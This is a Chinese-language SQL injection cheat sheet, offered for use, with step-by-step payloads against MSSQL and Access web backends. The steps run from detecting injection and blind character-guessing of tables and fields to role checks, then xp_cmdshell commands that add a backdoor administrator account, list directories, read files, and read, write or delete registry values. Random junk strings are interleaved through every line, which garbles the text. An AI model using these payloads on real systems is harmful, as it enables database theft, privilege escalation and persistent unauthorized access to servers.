1.判断是否有注入;and 1=1 ;and 1=2 9%1J..c
2.初步判断是否是mssql ;and user>0 m^=El7+
N/--6)5~0
3.注入参数是字符'and [查询条件] and ''=' T[#q0bv
y%spI/(
4.搜索时没过滤参数的'and [查询条件] and '%25'=' &;=/^~EG
_A])q
5.判断数据库系统 ic"8'Rwb
tC5-^5[y
;and (select count(*) from sysobjects)>0 mssql UGj |)/
fc9@l a
;and (select count(*) from msysobjects)>0 access Hmt2~>FI[
aB?usVoS
aT(_c/t.
#sDb611}#
6.猜数据库 ;and (select Count(*) from [数据库名])>0 qmt9J?$k
y@<2`h
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 YRFz]
w( _42)v]g
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ZfK[o{9>
9 <{C9
9.(1)猜字段的ascii值(access) =:]v~Ehq
:9Jy/7/
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 N5h9){Mx
z|X6\8f
(2)猜字段的ascii值(mssql) cD}]4
3?@6QcHl{
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 X2rKH$<g
] _5b
10.测试权限结构(mssql) !8|}-eFY
7(N+'8
l`i97P?/W
\C h01LR"
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- [~ 2imS
j49Uj}:j
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $LFL4Q
2J8:_Ql3I
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- u+KZ. n/
:dAd5v2f
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- q!?*M?Oz
a6^_iSk
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- "Y=`w,~~
T'@+MA) ~
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- >m..
qc5[e
;and 1=(select IS_MEMBER('db_owner'));-- #j=yQrJ
$|.8@
nj
^B%=P
l-l7jq]R
11.添加mssql和系统的帐户 X<P
<-e9
x|(pmqIH+
;exec master.dbo.sp_addlogin username;-- \ "$$c
;exec master.dbo.sp_password null,username,password;-- OTdijQLY
AyOibnoZ2E
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- s&(;
y,3ZdY"
;exec master.dbo.xp_cmdshell 'net user username password IhYR4?e
``Q6R2[|)
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ;'= cNj
kMMgY?
;exec master.dbo.xp_cmdshell 'net user username password /add';-- $i5J}
W>)0=8#\
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- HP1QI/*v
(rkg0
bAGKi.
G9 O6Fi
12.(1)遍历目录 q*3keB;X
Jt@lH
;create table dirs(paths varchar(100), id int) RbXR/Rd
5$D "uAp<V
;insert dirs exec master.dbo.xp_dirtree 'c:\' d#H9jg15e
PD-&(ka.
;and (select top 1 paths from dirs)>0 b' y*\9Ru
q1( [mHZ
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) O9(z"c
I}3F'}JV<
vjlN@
"
Q>Zc
eJ;
(2)遍历目录 _wS=*-fT
(^m]
7l
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0!_?\)X
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 #e|o"R;/`
2 HEU
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 "J 1A9|
?<TJ}("/
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 h<`aL;.g
Y(.e e%;,
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 h@!p:]
hx$61E=
7GYf#} N
cR/Nl pX
13.mssql中的存储过程 jTvcKm|q
%+N]$Q
xp_regenumvalues 注册表根键, 子键 *;Mi/^pzK
|'nQvn:{
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 <$0is:]
4a+gM._+O
xp_regread 根键,子键,键值名 b-sN#'TDg
dm4Q'u
;exec xp_regread O -1O@:}c
Yi*F;V
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 $Es\ld
,,gMUpL7_8
xp_regwrite 根键,子键, 值名, 值类型, 值 iZ-R%- }B
3ic /xy;}
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 >8e)V
;
ahg:mlaob
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 A'DFY {
I)Xf4FS@
xp_regdeletevalue 根键,子键,值名 ]P0%S@]
CO='[1"_5
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 gEd A
hfx
tDX&